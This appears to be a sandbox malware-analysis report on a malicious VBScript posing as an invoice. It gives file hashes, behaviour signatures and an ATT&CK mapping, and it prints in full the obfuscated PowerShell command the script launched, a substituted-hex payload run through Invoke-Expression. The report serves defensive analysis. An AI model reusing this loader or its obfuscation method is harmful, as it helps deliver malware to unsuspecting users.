1e00836862dc8fc7fd742e9df49a8b0d141b391139bfb1c5a23f20413eb6d639

General

Target

Invoice #019972.vbs
Size

2KB
MD5

ee3daa79d7ac4570d146aceb38253293
SHA1

40b16db43a5c60e9f6a0ec49ab984698a3d1129b
SHA256

1e00836862dc8fc7fd742e9df49a8b0d141b391139bfb1c5a23f20413eb6d639
SHA512

6342d990ce3ea3ab94e2086cfda644d29bd5ea852da17f81b28b6d6a915ab0c31e9ea3580d302a43f277fdea68f1a8afe4be1c4343b89831b29f46b0bf1b70aa

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1588 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1588 powershell.exe

pid	process
1588	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1588	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1304 wrote to memory of 1588	1304	WScript.exe	powershell.exe
PID 1304 wrote to memory of 1588	1304	WScript.exe	powershell.exe
PID 1304 wrote to memory of 1588	1304	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice #019972.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HB='!` ~+ ~A ~$ `` `+ `^ ~^ `& `! `$ `E `A ~+ `` `^ `& `$ !0 +D !0 !& ^$ &` &` &0 +A !F !F +1 ++ !E +^ += !E +1 +& +~ !E +1 +1 +~ !F ^! &= &0 ^1 &+ &+ !E &` &$ &` !& +B 0D 0A !` `~ `` ~! `^ `& `$ `E `A `D `B `` `~ `^ `& `$ `A !0 +D !0 !& ^E `~ !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D `~ ^! `+ !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B ~` !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& &` !E ~& !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !& !C !& ^C `= `~ `E !& != +B 0D 0A !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !0 +D !0 !& `` `F !A !A !A !A !A !A !A !A !A !A !A !A !A ^1 `` ~+ ~` +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E `& !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !A !A !A !A !A !A !A !A !A !A !A !A !A !& !C !& ~& ^E `C ^F !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E !& !C !& &! `= ^E !& != +B 0D 0A !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 +D !& `= ^0 `~ ~$ !$ ^E ^0 !D !D !D !D !D !D !D !D !D !D !D !D !D ^0 ^+ ^0 ~` !0 !` `~ `` ~! `^ `& `$ `E `A `D `B `` +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E `& `! `$ `E `A ~+ `` `^ `& `$ != !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& ^~ ^0 ~& ^0 !D `F ^! ^A ^0 `~ !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E !& !C !& `~ `^ `& `$ `A != !E !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !$ !` ~+ ~A ~$ `` `+ `^ ~^ !& != +B 0D 0A !^ !$ !& `= !& !B !& `~ ~$ !& != !$ !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 !D `A ^F ^= ^E !0 !& !& != &C !^ !$ !& `= !& !B !& `~ ~$ !& != +B'.Replace('!','2').Replace('`','4').Replace('^','6').Replace('+','3').Replace('~','5').Replace('&','7').Replace('$','8').Replace('=','9');Invoke-Expression (-join ($HB -split ' ' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1588

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1304-55-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmp

Filesize
8KB

Download
memory/1588-56-0x0000000000000000-mapping.dmp

Download
memory/1588-58-0x000007FEF2DE0000-0x000007FEF393D000-memory.dmp

Filesize
11.4MB

Download
memory/1588-59-0x00000000028C0000-0x00000000028C2000-memory.dmp

Filesize
8KB

Download
memory/1588-60-0x00000000028C2000-0x00000000028C4000-memory.dmp

Filesize
8KB

Download
memory/1588-61-0x00000000028C4000-0x00000000028C7000-memory.dmp

Filesize
12KB

Download
memory/1588-62-0x000000001B860000-0x000000001BB5F000-memory.dmp

Filesize
3.0MB

Download
memory/1588-63-0x00000000028CB000-0x00000000028EA000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing